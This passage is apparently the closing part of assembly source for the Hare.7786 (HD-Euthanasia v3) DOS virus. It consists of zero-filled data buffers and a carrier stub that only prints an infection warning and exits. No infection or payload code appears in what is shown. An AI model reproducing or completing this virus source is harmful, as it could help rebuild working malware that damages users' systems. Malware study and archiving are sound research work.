DW 0
Drew3 DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
Drew4 DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
Poly_Sector DW 0
Carrier:
PUSH CS
POP DS
MOV AH, 09h ; Display warning-message.
MOV DX, OFFSET Warning
INT 21h
MOV AX, 4C00h ; Exit to DOS.
INT 21h
Warning DB 'WARNING: This program is infected with the '
DB 'HD-Euthanasia v3 (Hare.7786) virus!', 0Ah, 0Dh, '$'
END START